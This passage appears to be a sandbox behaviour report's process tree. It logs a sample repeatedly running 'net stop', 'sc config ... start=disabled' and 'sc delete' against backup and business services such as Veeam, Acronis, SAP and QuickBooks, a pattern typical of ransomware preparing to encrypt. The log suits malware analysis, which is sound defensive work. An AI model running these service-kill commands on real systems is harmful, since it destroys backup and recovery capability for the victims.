- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxBlr
    3⤵
    PID:4516
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxBlr
      4⤵
      PID:2588
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxBlr start=disabled
    3⤵
    PID:1580
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxBlr
    3⤵
    PID:2088
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxVss
    3⤵
    PID:2964
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxVss
      4⤵
      PID:1492
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxVss start=disabled
    3⤵
    PID:3976
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxVss
    3⤵
    PID:3584
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxVss
    3⤵
    PID:1876
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxVss
      4⤵
      PID:2524
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxVss start=disabled
    3⤵
    - Launches sc.exe
    PID:4284
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxVss
    3⤵
    PID:4740
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxVss
    3⤵
    PID:3016
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxVss
      4⤵
      PID:5008
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxVss start=disabled
    3⤵
    PID:1012
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxVss
    3⤵
    PID:3524
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxClMgrS
    3⤵
    PID:2476
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxClMgrS
      4⤵
      PID:4792
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxClMgrS start=disabled
    3⤵
    PID:544
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxClMgrS
    3⤵
    PID:3816
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxClMgrS
    3⤵
    PID:1052
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxClMgrS
      4⤵
      PID:3204
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxClMgrS start=disabled
    3⤵
    - Launches sc.exe
    PID:4712
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxClMgrS
    3⤵
    PID:1544
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxClMgrS
    3⤵
    PID:284
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxClMgrS
      4⤵
      PID:4788
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxClMgrS start=disabled
    3⤵
    - Launches sc.exe
    PID:3968
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxClMgrS
    3⤵
    PID:1456
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxCVD
    3⤵
    PID:4552
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxCVD
      4⤵
      PID:1740
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxCVD start=disabled
    3⤵
    - Launches sc.exe
    PID:3496
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxCVD
    3⤵
    - Launches sc.exe
    PID:272
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxCVD
    3⤵
    PID:2412
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxCVD
      4⤵
      PID:1424
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxCVD start=disabled
    3⤵
    PID:1344
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxCVD
    3⤵
    PID:3008
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxCVD
    3⤵
    PID:1800
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxCVD
      4⤵
      PID:3528
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxCVD start=disabled
    3⤵
    PID:4920
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxCVD
    3⤵
    PID:888
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxCIMgr
    3⤵
    PID:4056
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxCIMgr
      4⤵
      PID:4536
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxCIMgr start=disabled
    3⤵
    PID:2428
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxCIMgr
    3⤵
    PID:2836
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxCIMgr
    3⤵
    PID:4548
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxCIMgr
      4⤵
      PID:952
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxCIMgr start=disabled
    3⤵
    - Launches sc.exe
    PID:2100
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxCIMgr
    3⤵
    PID:4568
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxCIMgr
    3⤵
    PID:3740
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxCIMgr
      4⤵
      PID:1772
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxCIMgr start=disabled
    3⤵
    - Launches sc.exe
    PID:4532
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxCIMgr
    3⤵
    PID:4284
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GXMMM
    3⤵
    PID:4996
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GXMMM
      4⤵
      PID:4456
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GXMMM start=disabled
    3⤵
    PID:4896
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GXMMM
    3⤵
    PID:5008
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GXMMM
    3⤵
    PID:2956
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GXMMM
      4⤵
      PID:4520
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GXMMM start=disabled
    3⤵
    - Launches sc.exe
    PID:4732
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GXMMM
    3⤵
    PID:4768
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GXMMM
    3⤵
    PID:3720
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GXMMM
      4⤵
      PID:4856
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GXMMM start=disabled
    3⤵
    PID:3032
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GXMMM
    3⤵
    PID:3492
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxVssHWProv
    3⤵
    PID:2860
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxVssHWProv
      4⤵
      PID:3724
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxVssHWProv start=disabled
    3⤵
    - Launches sc.exe
    PID:4444
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxVssHWProv
    3⤵
    PID:892
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxVssHWProv
    3⤵
    PID:2892
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxVssHWProv
      4⤵
      PID:3464
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxVssHWProv start=disabled
    3⤵
    PID:280
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxVssHWProv
    3⤵
    - Launches sc.exe
    PID:1720
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxVssHWProv
    3⤵
    PID:5040
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxVssHWProv
      4⤵
      PID:220
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxVssHWProv start=disabled
    3⤵
    PID:3332
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxVssHWProv
    3⤵
    PID:4968
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxFWD
    3⤵
    PID:2744
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxFWD
      4⤵
      PID:1800
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxFWD start=disabled
    3⤵
    - Launches sc.exe
    PID:1872
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxFWD
    3⤵
    PID:1796
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxFWD
    3⤵
    PID:4296
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxFWD
      4⤵
      PID:2328
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxFWD start=disabled
    3⤵
    PID:2312
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxFWD
    3⤵
    PID:3692
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxFWD
    3⤵
    PID:3196
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxFWD
      4⤵
      PID:2000
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxFWD start=disabled
    3⤵
    - Launches sc.exe
    PID:4616
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxFWD
    3⤵
    PID:2272
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAPService
    3⤵
    PID:1360
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAPService
      4⤵
      PID:3676
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAPService start=disabled
    3⤵
    - Launches sc.exe
    PID:5012
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAPService
    3⤵
    PID:528
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAPService
    3⤵
    PID:2452
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAPService
      4⤵
      PID:1116
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAPService start=disabled
    3⤵
    PID:4720
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAPService
    3⤵
    - Launches sc.exe
    PID:4224
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAPService
    3⤵
    PID:4260
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAPService
      4⤵
      PID:5104
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAPService start=disabled
    3⤵
    - Launches sc.exe
    PID:3240
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAPService
    3⤵
    PID:796
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAP
    3⤵
    PID:1188
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAP
      4⤵
      PID:4496
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAP start=disabled
    3⤵
    - Launches sc.exe
    PID:1172
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAP
    3⤵
    PID:4572
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAP
    3⤵
    PID:4976
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAP
      4⤵
      PID:4684
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAP start=disabled
    3⤵
    PID:2992
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAP
    3⤵
    PID:3248
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAP
    3⤵
    PID:3764
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAP
      4⤵
      PID:1460
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAP start=disabled
    3⤵
    - Launches sc.exe
    PID:4148
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAP
    3⤵
    PID:1884
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAP$
    3⤵
    PID:4744
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAP$
      4⤵
      PID:5028
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAP$ start=disabled
    3⤵
    PID:3660
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAP$
    3⤵
    PID:4232
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAP$
    3⤵
    PID:1568
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAP$
      4⤵
      PID:3036
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAP$ start=disabled
    3⤵
    - Launches sc.exe
    PID:4948
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAP$
    3⤵
    - Launches sc.exe
    PID:1796
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAP$
    3⤵
    PID:548
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAP$
      4⤵
      PID:2848
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAP$ start=disabled
    3⤵
    - Launches sc.exe
    PID:2088
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAP$
    3⤵
    - Launches sc.exe
    PID:1492
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAPD$,SAPHostControl
    3⤵
    PID:3956
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAPD$,SAPHostControl
      4⤵
      PID:1184
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAPD$,SAPHostControl start=disabled
    3⤵
    PID:4548
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAPD$,SAPHostControl
    3⤵
    - Launches sc.exe
    PID:2100
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAPD$,SAPHostControl
    3⤵
    PID:4828
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAPD$,SAPHostControl
      4⤵
      PID:1360
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAPD$,SAPHostControl start=disabled
    3⤵
    PID:1088
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAPD$,SAPHostControl
    3⤵
    PID:3016
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAPD$,SAPHostControl
    3⤵
    PID:3676
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAPD$,SAPHostControl
      4⤵
      PID:2452
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAPD$,SAPHostControl start=disabled
    3⤵
    PID:4476
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAPD$,SAPHostControl
    3⤵
    - Launches sc.exe
    PID:1732
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAPHostExec
    3⤵
    PID:4520
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAPHostExec
      4⤵
      PID:4004
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAPHostExec start=disabled
    3⤵
    - Launches sc.exe
    PID:4260
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAPHostExec
    3⤵
    - Launches sc.exe
    PID:2888
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAPHostExec
    3⤵
    PID:4308
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAPHostExec
      4⤵
      PID:1188
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAPHostExec start=disabled
    3⤵
    PID:4800
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAPHostExec
    3⤵
    PID:4500
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAPHostExec
    3⤵
    PID:4664
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAPHostExec
      4⤵
      PID:1060
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAPHostExec start=disabled
    3⤵
    PID:4816
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAPHostExec
    3⤵
    PID:4552
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop QBCFMonitorService
    3⤵
    PID:3376
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop QBCFMonitorService
      4⤵
      PID:1460
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config QBCFMonitorService start=disabled
    3⤵
    PID:3764
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete QBCFMonitorService
    3⤵
    PID:684
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop QBCFMonitorService
    3⤵
    PID:3008
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop QBCFMonitorService
      4⤵
      PID:5040
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config QBCFMonitorService start=disabled
    3⤵
    PID:1712
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete QBCFMonitorService
    3⤵
    - Launches sc.exe
    PID:4852
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop QBCFMonitorService
    3⤵
    PID:2780
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop QBCFMonitorService
      4⤵
      PID:916
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config QBCFMonitorService start=disabled
    3⤵
    PID:3528
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete QBCFMonitorService
    3⤵
    PID:2092
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop QBDBMgrN
    3⤵
    PID:3156
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop QBDBMgrN
      4⤵
      PID:792
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config QBDBMgrN start=disabled
    3⤵
    PID:2836
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete QBDBMgrN
    3⤵
    - Launches sc.exe
    PID:1580
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop QBDBMgrN
    3⤵
    PID:3956
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop QBDBMgrN
      4⤵
      PID:3304
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config QBDBMgrN start=disabled
    3⤵
    PID:4548
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete QBDBMgrN
    3⤵
    PID:3564
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop QBDBMgrN
    3⤵
    PID:3780
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop QBDBMgrN
      4⤵
      PID:3228
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config QBDBMgrN start=disabled
    3⤵
    PID:4336
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete QBDBMgrN
    3⤵
    PID:4284
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop QBIDPService
    3⤵
    PID:1136
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop QBIDPService
      4⤵
      PID:1644
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config QBIDPService start=disabled
    3⤵
    PID:4896
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete QBIDPService
    3⤵
    PID:2476
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop QBIDPService
    3⤵
    PID:4724
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop QBIDPService
      4⤵
      PID:1848
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config QBIDPService start=disabled
    3⤵
    PID:2256
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete QBIDPService
    3⤵
    PID:3328
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop QBIDPService
    3⤵
    PID:4004
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop QBIDPService
      4⤵
      PID:4312
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config QBIDPService start=disabled
    3⤵
    PID:4704
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete QBIDPService
    3⤵
    PID:4856
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop AcronisAgent
    3⤵
    PID:4572
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop AcronisAgent
      4⤵
      PID:2988
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config AcronisAgent start=disabled
    3⤵
    - Launches sc.exe
    PID:432
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete AcronisAgent
    3⤵
    - Launches sc.exe
    PID:4640
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop AcronisAgent
    3⤵
    PID:3248
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop AcronisAgent
      4⤵
      PID:1504
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config AcronisAgent start=disabled
    3⤵
    PID:2892
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete AcronisAgent
    3⤵
    PID:4076
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop AcronisAgent
    3⤵
    PID:5112
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop AcronisAgent
      4⤵
      PID:3176
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config AcronisAgent start=disabled
    3⤵
    PID:2456
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete AcronisAgent
    3⤵
    PID:5032
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VeeamNFSSvc
    3⤵
    PID:3928
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VeeamNFSSvc
      4⤵
      PID:5040
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VeeamNFSSvc start=disabled
    3⤵
    PID:3552
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VeeamNFSSvc
    3⤵
    PID:3512
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VeeamNFSSvc
    3⤵
    PID:4948
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VeeamNFSSvc
      4⤵
      PID:1576
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VeeamNFSSvc start=disabled
    3⤵
    PID:208
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VeeamNFSSvc
    3⤵
    PID:2400
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VeeamNFSSvc
    3⤵
    PID:2588
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VeeamNFSSvc
      4⤵
      PID:2836
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VeeamNFSSvc start=disabled
    3⤵
    PID:2760
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VeeamNFSSvc
    3⤵
    PID:3196
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VeeamDeploymentService
    3⤵
    PID:2752
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VeeamDeploymentService
      4⤵
      PID:3040
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VeeamDeploymentService start=disabled
    3⤵
    PID:2532
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VeeamDeploymentService
    3⤵
    PID:2408
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VeeamDeploymentService
    3⤵
    PID:4292
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VeeamDeploymentService
      4⤵
      PID:5012
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VeeamDeploymentService start=disabled
    3⤵
    - Launches sc.exe
    PID:3140
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VeeamDeploymentService
    3⤵
    - Launches sc.exe
    PID:1644
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VeeamDeploymentService
    3⤵
    PID:4452
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VeeamDeploymentService
      4⤵
      PID:3628
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VeeamDeploymentService start=disabled
    3⤵
    PID:4720
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VeeamDeploymentService
    3⤵
    PID:4668
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VeeamTransportSvc
    3⤵
    PID:3580
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VeeamTransportSvc
      4⤵
      PID:1848
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VeeamTransportSvc start=disabled
    3⤵
    PID:3848
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VeeamTransportSvc
    3⤵
    PID:5056
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VeeamTransportSvc
    3⤵
    PID:4756
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VeeamTransportSvc
      4⤵
      PID:4564
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VeeamTransportSvc start=disabled
    3⤵
    PID:4856
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VeeamTransportSvc
    3⤵
    PID:1456
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VeeamTransportSvc
    3⤵
    PID:4492
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VeeamTransportSvc
      4⤵
      PID:3504
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VeeamTransportSvc start=disabled
    3⤵
    PID:4684
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VeeamTransportSvc
    3⤵
    PID:2396
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MVArmor
    3⤵
    PID:3248
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MVArmor
      4⤵
      PID:1884
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MVArmor start=disabled
    3⤵
    PID:1944
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MVArmor
    3⤵
    - Launches sc.exe
    PID:276
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MVArmor
    3⤵
    PID:1540
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MVArmor
      4⤵
      PID:3332
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MVArmor start=disabled
    3⤵
    PID:1960
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MVArmor
    3⤵
    PID:1568
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MVArmor
    3⤵
    PID:1424
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MVArmor
      4⤵
      PID:5040
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MVArmor start=disabled
    3⤵
    - Launches sc.exe
    PID:3184
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MVArmor
    3⤵
    PID:916
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MVarmor64
    3⤵
    PID:2328
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MVarmor64
      4⤵
      PID:1348
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MVarmor64 start=disabled
    3⤵
    PID:1492
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MVarmor64
    3⤵
    PID:3276
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MVarmor64
    3⤵
    PID:3284
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MVarmor64
      4⤵
      PID:3544
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MVarmor64 start=disabled
    3⤵
    PID:2088
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MVarmor64
    3⤵
    PID:972
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MVarmor64
    3⤵
    PID:2752
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MVarmor64
      4⤵
      PID:5052
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MVarmor64 start=disabled
    3⤵
    PID:1360
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MVarmor64
    3⤵
    PID:4336
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VSNAPVSS
    3⤵
    PID:4384
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VSNAPVSS
      4⤵
      PID:4844
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VSNAPVSS start=disabled
    3⤵
    - Launches sc.exe
    PID:4556
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VSNAPVSS
    3⤵
    - Launches sc.exe
    PID:4280
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VSNAPVSS
    3⤵
    PID:1656
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VSNAPVSS
      4⤵
      PID:4356
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VSNAPVSS start=disabled
    3⤵
    PID:3088
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VSNAPVSS
    3⤵
    PID:3568
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VSNAPVSS
    3⤵
    PID:4732
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VSNAPVSS
      4⤵
      PID:3848
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VSNAPVSS start=disabled
